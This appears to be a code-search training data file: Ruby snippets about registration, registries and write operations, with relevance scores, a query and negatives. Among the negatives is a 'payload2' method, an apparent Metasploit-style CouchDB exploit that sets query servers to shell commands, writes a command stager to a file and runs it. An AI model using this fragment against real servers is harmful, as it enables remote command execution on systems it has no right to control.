send_put_request(@conn, ['/v1/catalog/register'], options, definition)\n register.status == 200\n end", "def load_current_resource\n @current_resource = Chef::Resource::NexusCapability.new(new_resource.name)\n\n run_context.include_recipe \"nexus::cli\"\n Chef::Nexus.ensure_nexus_available(node)\n\n @current_resource\nend", "def registered\n\t\t\tself\n\t\tend", "def register!\n # Register the plugin.\n @manager.register_plugin! self\n end", "def register(params)\n @field = params[\"field\"]\nend", "def process_registers pig_server, registers\n registers.each do |register|\n resource = register[:resource]\n if register.has_key? :using\n using = register[:using]\n namespace = register[:namespace]\n pig_server.register_code(resource, using, namespace)\n elsif resource.end_with? '.jar'\n pig_server.register_jar(resource)\n else\n raise \"Can't process register with resource #{resource}\"\n end \n end \nend", "def register_psrepository_scriptblock\n return if config[:register_repository].nil?\n\n info(\"Registering a new PowerShellGet Repository\")\n Array(config[:register_repository]).map do |psrepo|\n # Using Set-PSRepo from ../../*/*/*/PesterUtil.psm1\n debug(\"Command to set PSRepo #{psrepo[:Name]}.\")\n <<-PS1\n Write-Host 'Registering psrepo #{psrepo[:Name]}...'\n ${#{psrepo[:Name]}} = #{ps_hash(psrepo)}\n Set-PSRepo -Repository ${#{psrepo[:Name]}}\n PS1\n end\n end", "def register(&prc)\n @eff.perform prc\n end", "def find_registry\n @registry = Spree::Registry.find_by_access_hash!(params[:id])\n end", "def register\n physical_entity = {name: @name, description: @description, location:@location}\n virtual_entity = {uuid: nil}\n body = {body: {device: {name: @name, \n description: @description, \n model_name: @model, \n location: @location,\n physical_entity_attributes: physical_entity,\n virtual_entity_attributes: virtual_entity}}}\n response = self.class.post(API+'/devices', body)\n @uuid = response['uuid']\n end", "def register_handler\n @register_handler ||= Justdi::RegisterHandler\n end", "def write_register(reg, options = {})\n # nexus.write_register(reg, options)\n cc 'Needs to be enabled when a register protocol is available'\n end", "def get_registration\n path = self.api_root + '/register'\n process_firecloud_request(:get, path)\n end", "def on_registration(connection)\n end", "def create\n @bridal_registry = Spree::BridalRegistry.new bridal_registry_attributes\n @bridal_registry.user = spree_current_user\n @bridal_registry.save\n respond_with(@bridal_registry)\n end", "def enable_nexus_access\n if @ir_reg_value != once_nexus_access_instr\n jtag.write_ir once_nexus_access_instr, size: once_ocmd_width, msg: log2(\"Enable Nexus Access: OnCE_Send(#{once_ocmd_width}, 0x%02X)\" % [once_nexus_access_instr])\n @ir_reg_value = once_nexus_access_instr\n end\n if block_given?\n yield\n disable_once\n end # whether to mark all bits in RWD for read\n end", "def create\n @registry = Registry.new(create_params)\n\n # Check the reachability of the registry.\n unless params[:force]\n msg = @registry.reachable?\n unless msg.empty?\n logger.info \"\\nRegistry not reachable:\\n#{@registry.inspect}\\n#{msg}\\n\"\n msg = \"#{msg} You can skip this check by clicking on the \\\"Skip remote checks\\\" checkbox.\"\n hsh = { name: @registry.name, hostname: @registry.hostname,\n use_ssl: @registry.use_ssl, external_hostname: @registry.external_hostname }\n redirect_to new_admin_registry_path(hsh), alert: msg\n return\n end\n end\n\n if @registry.save\n Namespace.update_all(registry_id: @registry.id)\n redirect_to admin_registries_path, notice: \"Registry was successfully created.\"\n else\n redirect_to new_admin_registry_path, alert: @registry.errors.full_messages\n end\n end", "def publish_discover\n @logger.trace \"publishing discover request\"\n publish(:discover)\n end", "def register\n self.class.definitions[name] = self\n self\n end", "def register(name, type)\n registry[name] = type\n end", "def registry\n @registry ||= {}\n end", "def register_service(nicknam, realname, distribution, info, passwd = nil)\n pass(passwd) if passwd\n service(nicknam, distribution, info)\n user(nicknam, realname)\n end", "def deploy_nexus_config\n Nexus.open(NEXUS_CONFIG[:url]) do |nexus|\n group_id = \"org.fusesource.#{key}\"\n \n #\n # Setup the repo target\n #\n target_id = nexus.get_repo_targets_by_name[group_id]\n if( target_id == nil )\n puts \"creating the repo target\"\n target_id = nexus.post_repo_target(\"name\"=>group_id, \"patterns\"=>[\".*/org/fusesource/#{key}/.*\"])[\"id\"]\n end\n\n #\n # Setup the staging profile\n #\n staging_rule_set_id = nexus.get_staging_rule_sets_by_name[\"Maven Central Sync Validation\"]\n staging_profile_id = nexus.get_staging_profile_by_name[group_id]\n if( !staging_profile_id ) \n staging_profile = {\n \"name\"=>group_id,\n \"repositoryTargetId\"=>target_id,\n \"promotionTargetRepository\"=>\"releases-to-central\",\n \"closeRuleSets\"=>[staging_rule_set_id]\n }\n staging_profile_id = nexus.post_staging_profile(staging_profile)[\"id\"]\n end\n \n #\n # Setup the repo target permissions\n #\n privileges_by_name = nexus.get_privileges_by_name;\n names = [\"create\",\"read\", \"update\", \"delete\"].collect {|x| \"#{group_id} - all - (#{x})\"}\n privilege_ids = privileges_by_name.values_at(*names).compact\n if( privilege_ids.length !=4 )\n privilege_ids.each {|x| nexus.delete_privilege(x)}\n nexus.post_privileges_target(\"name\"=>\"#{group_id} - all\", \n \"repositoryTargetId\"=>target_id,\n \"description\"=>\"#{group_id} - all\").inspect\n end\n \n names = [\"create\",\"read\", \"update\", \"delete\"].collect {|x| \"#{group_id} - snapshots - (#{x})\"}\n privilege_ids = privileges_by_name.values_at(*names).compact\n if( privilege_ids.length !=4 )\n privilege_ids.each {|x| nexus.delete_privilege(x)}\n nexus.post_privileges_target(\"name\"=>\"#{group_id} - snapshots\", \n \"repositoryTargetId\"=>target_id,\n \"repositoryId\"=>\"snapshots\",\n \"description\"=>\"#{group_id} - snapshots\").inspect\n end\n \n #\n # Setup the role for members.\n #\n roles_by_name = nexus.get_roles_by_name\n privileges_by_name = nexus.get_privileges_by_name;\n \n roles = []\n roles << roles_by_name[\"Staging: Deployer (#{group_id})\"]\n roles << roles_by_name[\"Nexus Developer Role\"]\n roles << roles_by_name[\"UI: Staging Repositories\"]\n roles << roles_by_name[\"Repo: All Repositories (Read)\"]\n \n privileges = []\n privileges << privileges_by_name[\"#{group_id} - all - (create)\"]\n privileges << privileges_by_name[\"#{group_id} - all - (read)\"]\n privileges << privileges_by_name[\"#{group_id} - all - (update)\"]\n privileges << privileges_by_name[\"#{group_id} - snapshots - (delete)\"]\n privileges << privileges_by_name[\"Staging: Profile #{group_id} - (promote)\"]\n \n role_id = \"forge-#{key}-members\"\n role = {\"id\"=>role_id,\"name\"=>role_id,\n \"description\"=>\"Forge Role: #{role_id}\",\n \"sessionTimeout\"=>60,\"roles\"=>roles,\"privileges\"=>privileges}\n \n if( roles_by_name[role_id] ) \n nexus.put_role(role)\n else \n nexus.post_role(role)\n end\n\n #\n # Setup the role for admins.\n #\n role_id = \"forge-#{key}-admins\"\n role = {\"id\"=>role_id,\"name\"=>role_id,\n \"description\"=>\"Forge Role: #{role_id}\",\n \"sessionTimeout\"=>60,\"roles\"=>[\"forge-#{key}-members\"]}\n if( roles_by_name[role_id] ) \n nexus.put_role(role)\n else \n nexus.post_role(role)\n end\n end \n \n end", "def registry=(value)\n @registry = value\n end", "def registry\n @registry\n end", "def register(entity)\n raise TypeError unless entity.kind_of? Consul::Model::HealthCheck or entity.kind_of? Consul::Model::Service\n case entity\n when Consul::Model::HealthCheck\n return register_with_backoff(build_check_url('register'), entity.extend(Consul::Model::HealthCheck::Representer), 0, 3)\n else\n entity = entity.extend(Consul::Model::Service::Representer)\n success, body = _put build_service_url('register'), entity.to_json\n if success\n logger.info(\"Successfully registered service #{entity.name}.\")\n c = check(\"service:#{entity.name}\") unless entity.check.nil?\n unless c.nil?\n # Pass the first health check\n logger.info(\"Updating status for health check #{c.check_id} to \\\"pass\\\".\")\n _get build_check_status_url(c.check_id, 'pass')\n end\n else\n logger.warn(\"Unable to register #{entity}. Reason: #{body}\")\n end\n return success\n end\n end", "def register(body, opts = {})\n data, _status_code, _headers = register_with_http_info(body, opts)\n return data\n end", "def register\n params = Serializer.new(self).to_params\n Response.new Request.post(\"checkout\", params)\n end", "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end", "def set_registry\n @registry = Registry.find(params[:id])\n end", "def set_registry\n @registry = Registry.find(params[:id])\n end", "def can_register?(method); end", "def register\n name = shift_argument\n unless name\n error(\"Usage: mortar projects:register PROJECT\\nMust specify PROJECT.\")\n end\n validate_arguments!\n ask_public(options[:public])\n #nil is non existant project_id because it hasn't been posted yet\n register_do(name, options[:public], options[:embedded], nil) \n \n end", "def register(params)\n @fields = params[\"fields\"]\n @tag = params[\"tag\"]\n @key = params[\"key\"]\n @digest = OpenSSL::Digest::SHA256.new\nend", "def register\n client.post('/v1/push/register', body: {\n uuid: user_id, device_id: id, push_type: type, push_token: token.gsub(/\\s/, '')\n })\n end", "def register(target, obj)\n end", "def register(plugin, id); end", "def register(actor, prefix = nil)\n @registry.register(actor, prefix)\n end", "def register(command)\n args = command.split(\" \")[1..-1]\n params = { :name => args[0], :number => args[1], :email => args[2] }\n add_application(params)\nend", "def registration_start(node_name, config)\n end", "def register(name, klass)\n @registry[name] = klass\n end", "def initialize\n @registry = {}\n end", "def allow_registration(method); end", "def register_url(doi, url)\n # NOTE: this doi needs to be sans leading \"doi:\"\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"doi=#{doi}\",\n \"url=#{url}\",\n \"\" ], bold_puts: debug_verbose_puts if debug_verbose\n payload = \"doi=#{doi}\\nurl=#{url}\"\n response = mds_connection.put(\"doi/#{doi}\", payload, { 'Content-Type': 'text/plain;charset=UTF-8' })\n raise Error.new(\"Failed registering url '#{url}' for DOI '#{doi}'\", response) unless response.status == 201\n url\n end", "def register_nickname(nick)\n #TODO: fiber blocks on getting the registration form\n # user fills-in the form and submit\n # rooms returns result\n raise NotImplementedError\n end", "def register(name, klass)\n Registry.instance.register(name, klass)\n end", "def build\n registry.register(type)\n end", "def create\n @registry = Registry.new(create_params)\n\n # Check the reachability of the registry.\n\n check_reachability(\"new\") unless params[:force]\n return if @unreachable\n\n if @registry.save\n Namespace.update_all(registry_id: @registry.id)\n redirect_to admin_registries_path, notice: \"Registry was successfully created.\"\n else\n redirect_to new_admin_registry_path, alert: @registry.errors.full_messages\n end\n end", "def register(request, opts = {})\n register_with_http_info(request, opts)\n return nil\n end", "def register\n personal_information\n your_address\n end", "def register(start_command, home = self.install_folder)\n dependency = 0\n dependency = 1 if self.dependable\n username = 'EdenManager'\n unless options.nil?\n unless options['username'].nil?\n username = options['username']\n end\n end\n $db.services.insert(:service_name => self.name, :service_type => self.type, :username => username, :folder_name => home, :status => 'Installing', :start_command => start_command, :pid_file => self.pid_file, :running => 0, :dependency => dependency, :version => self.version)\n end", "def spawn_registry(opts_={})\n config.spawn_registry(opts_)\n end", "def register(*args)\n worker = attempt(*args)\n @initial << [args, worker]\n end", "def register(vp)\n uri=vp.uri\n @controller.log {\"Register attempt: #{vp} #{uri}\"}\n\n name = (vp.respond_to?(:name)) ? vp.name : nil\n\n # could add in next line for backwards compatability\n # uri= (vp.is_a?(String) ? vp : vp.uri)\n result = @controller.register(uri, name)\n if not result.nil?\n raise result\n end\n\n @controller.log {\"Register result: #{uri} #{result}\"}\n\n result\n end", "def registered\n all.map do |repository|\n registered = repository.send(:registered)\n\n Vedeu.log(type: :store,\n message: \"Repository '#{repository.class.name}':\" \\\n \" #{registered.inspect}\".freeze)\n\n registered\n end\n end", "def register_space\n Server.redis do |c|\n c.sadd(\"#{QPush::Base::KEY}:namespaces\", @config.namespace)\n end\n end", "def method_missing(method, *args, &block)\n @registry << [method, args, block]\n self\n end", "def method_missing(method, *args, &block)\n @registry << [method, args, block]\n self\n end", "def registry_created\n raise ActionController::RoutingError, \"Not found\" if Registry.any?\n end", "def mapNi(uri, auth, opts=nil)\n Mapping.instance.add(uri,auth, opts)\nend", "def initialize\n RESTRack::CONFIG[:SERVICE_NAME] = self.class.to_s.split('::')[0].to_sym\n @request_hook = RESTRack::Hooks.new if RESTRack.const_defined?(:Hooks)\n end", "def start_registration\r\n \r\n end", "def register\n grab_header.invert\n end", "def register(devices)\n @devices.merge! devices\n end" ]
[ "0.6889513", "0.6889513", "0.6889513", "0.68345374", "0.68161243", "0.67570263", "0.67251754", "0.64401734", "0.6420024", "0.6020427", "0.59838766", "0.59501445", "0.59399873", "0.59350973", "0.5931362", "0.591868", "0.591868", "0.5901147", "0.5849574", "0.5836683", "0.58297086", "0.57609355", "0.5756588", "0.5687098", "0.5598803", "0.5574194", "0.55699867", "0.55341613", "0.54585147", "0.5458348", "0.5456027", "0.5441037", "0.5420385", "0.5391392", "0.5346111", "0.5344563", "0.5311435", "0.5308297", "0.5281732", "0.525556", "0.5232483", "0.5226394", "0.520993", "0.5197898", "0.5194694", "0.5191184", "0.518783", "0.51866364", "0.5185684", "0.5174984", "0.51696324", "0.5167179", "0.5160536", "0.51507246", "0.51490444", "0.51471275", "0.51453596", "0.51403195", "0.5138348", "0.51370394", "0.51351976", "0.5133744", "0.51276755", "0.5114768", "0.51099026", "0.5105617", "0.5105617", "0.51042867", "0.5103109", "0.5083333", "0.50815666", "0.5073671", "0.506398", "0.50464994", "0.50432163", "0.5023509", "0.50222665", "0.50177854", "0.5012951", "0.50118196", "0.5010694", "0.49805993", "0.49692172", "0.49641103", "0.49590588", "0.49542174", "0.4947018", "0.49267578", "0.49232012", "0.49225166", "0.49217424", "0.49179593", "0.49160835", "0.49160835", "0.49110812", "0.48932442", "0.48839724", "0.48831883", "0.4879962", "0.48772573" ]
0.51978475
44
As above for write requests
def write_register(reg, options = {}) # nexus.write_register(reg, options) cc 'Needs to be enabled when a register protocol is available' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write(_request, _response)\n raise NotImplementedError, 'Implement this method in your strategy'\n end", "def pending_write?; end", "def write\n write_data\n end", "def write; end", "def write; end", "def on_writable\n @being_written = nil\n return unless res = responses.first\n if res.finished?\n responses.shift\n if res.last \n FFI::connection_schedule_close(self) \n return\n end\n end \n write\n end", "def before_write\n end", "def write\n end", "def open_for_write\n end", "def _write(*args)\n\t\tbegin\n\t\t\tsuper(*args)\n\t\trescue ::Rex::Post::Meterpreter::RequestError => e\n\t\t\tcase e.result\n\t\t\twhen 10000 .. 10100\n\t\t\t\traise ::Rex::ConnectionError.new\n\t\t\tend\n\t\tend\n\tend", "def write?; end", "def write?; end", "def write?; end", "def close_write; end", "def write(method, path, body = {}, opts = {})\n request(WRITE, method, path, body, opts)\n end", "def write(data); end", "def write(data); end", "def write(data); end", "def write(data); end", "def close_write() end", "def close_write() end", "def close_write() end", "def handle_put_request\n @request.records.each do |record|\n file = DataFile.storing(@request.uuid, record.time)\n file << record\n file.close\n end\n\n send_data [@request.record_count].pack('L')\n end", "def write(data)\n end", "def docs_to_write; end", "def direct_write action, field, params={}\n opts = {:single_quoted => false}\n params = {\n :query => {\n \"ClientToken\" => self.token,\n \"Action\" => Type::String.safe_value(action, opts),\n \"PK_Field\" => Type::String.safe_value(field, opts),\n \"Call_ID\" => Type::String.safe_value(params[:call_id], opts),\n \"pk_id\" => Type::String.safe_value(params[:pk_id], opts),\n \"Values\" => (params[:values].to_json if params[:values]),\n \"Leave_Open\" => Type::String.safe_value(params[:leave_open], opts),\n \"Rationale\" => Type::String.safe_value(params[:rationale], opts)\n }\n }\n\n put 'direct_write.php', params\n end", "def add_write(key, value, binary = false)\n if (@is_commit)\n raise RuntimeError.new('No further request supported after a commit!')\n end\n @requests << {'write' => {key => JSONConnection.encode_value(value, binary)}}\n self\n end", "def post_reader; end", "def close_write(*) end", "def send_request(req); end", "def write object, index\n raise NotImplementedError\n end", "def write\n command :write\n self\n end", "def write!(content)\n raise WebDavErrors::ForbiddenError\n end", "def ensure_writeable(context)\n end", "def write_request(request, client)\n puts request\n filename = request[6..request.length]\n request = client.gets.chomp\n puts request\n start_n = request[6..request.length].to_i\n contents = client.gets\n puts contents\n if File.exist?(filename)\n IO.binwrite(filename, contents, start_n)\n client.puts \"\\nOK:#{filename}\\nSTART:#{start_n}\\n\\n\"\n else client.puts @error1\n end\n end", "def send_request; end", "def post_data; end", "def writer; end", "def closed_write?() end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def _write(key, value, options = nil)\n method = options && options[:unless_exist] ? :add : :set\n response = @data.send(method, key, value, expires_in(options), raw?(options))\n return true if response.nil?\n response == Response::STORED\n rescue MemCache::MemCacheError => e\n logger.error(\"MemCacheError (#{e}): #{e.message}\")\n false\n end", "def write_metadata; end", "def write!(_)\n raise NotImplementedError, 'Implement #write! in child class'\n end", "def write(*data); end", "def write_timeout; end", "def write_timeout; end", "def write_timeout; end", "def public_write\n @public_write ||= public_write_was\n end", "def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end", "def _do_write(io)\n raise NotImplementedError\n end", "def def_write_timeout\n 10\n end", "def post_request(object)\n end", "def write(value)\n # pass\n end", "def test_direct_write\n @query = GopDataTrustAdapter::Api.direct_write(\n \"AnAction\",\n \"Afield\",\n :call_id => \"171831\",\n :pk_id => \"287561\",\n :values => {:some => \"thing\", :to => \"update\", :width => \".\"},\n :leave_open => false,\n :rationale => \"My rationale...\"\n )\n assert_query_hash_value_is_present \"Action\", \"AnAction\"\n assert_query_hash_value_is_present \"PK_Field\", \"Afield\"\n assert_query_hash_value_is_present \"Call_ID\", \"171831\"\n assert_query_hash_value_is_present \"pk_id\", \"287561\"\n assert_query_hash_value_is_present \"Values\", \"{\\\"some\\\":\\\"thing\\\",\\\"to\\\":\\\"update\\\",\\\"width\\\":\\\".\\\"}\"\n assert_query_hash_value_is_present \"Leave_Open\", \"false\"\n assert_query_hash_value_is_present \"Rationale\", \"My rationale...\"\n end", "def write(data)\n # black hole, because we don't actually care about what gets written\n end", "def wait_writable_or_timeout; end", "def write_state; end", "def write_state; end", "def request_data; end", "def respond(response)\n unless response.committed?\n write_status(response)\n write_headers(response)\n write_body(response)\n end\n end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def write(data, *args, **kwd); end", "def close_write\n\t\t\t\n\t\tend", "def set_request; end", "def set_write\n @write = Write.find(params[:id])\n end", "def respond(request, body, headers)\n formatted_headers = format_headers(headers, body, false)\n request.tx_incr(formatted_headers.bytesize + (body ? body.bytesize : 0))\n if body\n @conn.write(formatted_headers, body)\n else\n @conn.write(formatted_headers)\n end\n end", "def readwrite(*fields)\n readable(*fields)\n writable(*fields)\n allow(*fields)\n nil\n end", "def write_headers?() @write_headers end", "def write\n # File path\n fpath = filepathById params[:id]\n\n if nil == fpath\n # File description does not exists\n result = {status: 'error', message: 'Bad request'}\n status = 400\n else\n begin\n File.open(fpath, \"w\") do |f|\n f.write(params[:content])\n end\n result = {status: 'ok', file:fpath}\n status = 200\n rescue Exception => e\n result = {status: 'error', message: e.message}\n status = 500\n end\n end\n\n render json: result.to_json, status: status\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"content\", @content)\n writer.write_date_time_value(\"expirationDateTime\", @expiration_date_time)\n writer.write_string_value(\"issuer\", @issuer)\n writer.write_string_value(\"issuerName\", @issuer_name)\n writer.write_enum_value(\"status\", @status)\n writer.write_string_value(\"subject\", @subject)\n writer.write_string_value(\"subjectName\", @subject_name)\n writer.write_date_time_value(\"uploadDateTime\", @upload_date_time)\n end", "def body_io; end", "def body_io; end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def flush; end", "def write(arg0)\n end", "def after_write_path; end", "def closed_write?\n end", "def write\n raise \"Writers must implement #write\"\n end", "def post; end", "def write(path, data)\n\t\t@connection.write(path, data)\n\tend", "def post_data=(_arg0); end", "def write_to(io)\n end", "def write_to(io)\n end", "def create\n\t\twrite('')\n\t\tself\n\tend", "def create\n\t\twrite('')\n\t\tself\n\tend", "def save_now( mask_exception = true ) \n begin\n result = CouchDB.put( uri, self )\n rescue Exception => e\n if mask_exception\n result = false\n else\n raise e\n end \n end\n \n if result && result['ok']\n update_version( result )\n self\n else \n result \n end \n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_date_time_value(\"lastActionDateTime\", @last_action_date_time)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_string_value(\"operation\", @operation)\n writer.write_string_value(\"status\", @status)\n writer.write_additional_data(@additional_data)\n end", "def flush(**); end" ]
[ "0.7191813", "0.69296527", "0.67635834", "0.6695295", "0.6695295", "0.66216135", "0.66215885", "0.65902555", "0.6546661", "0.6240716", "0.6226093", "0.6226093", "0.6226093", "0.6066174", "0.6064423", "0.6062388", "0.6062388", "0.6062388", "0.6062388", "0.6056641", "0.6056641", "0.6056641", "0.6050586", "0.60165447", "0.60041726", "0.599802", "0.59857154", "0.59716594", "0.59048843", "0.5809426", "0.5762168", "0.57412726", "0.5732187", "0.5719266", "0.571069", "0.5695211", "0.5684242", "0.5675501", "0.5674462", "0.56743693", "0.56675005", "0.565029", "0.56360894", "0.5618233", "0.5607863", "0.5607863", "0.5607863", "0.560716", "0.56041217", "0.5604054", "0.5586017", "0.557707", "0.555996", "0.55560666", "0.55549324", "0.5544061", "0.55434275", "0.55434275", "0.55170876", "0.54960275", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.5494808", "0.548929", "0.5484026", "0.54791826", "0.5478768", "0.54686457", "0.54616535", "0.5448855", "0.54415727", "0.5425252", "0.5422394", "0.5422394", "0.5420246", "0.5420246", "0.5420246", "0.5420246", "0.5420246", "0.5418065", "0.5415025", "0.5411767", "0.54114604", "0.5407373", "0.5404479", "0.5399279", "0.539108", "0.539108", "0.5378021", "0.5378021", "0.53629583", "0.53620094", "0.53613657" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_media_type @media_type = MediaType.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each 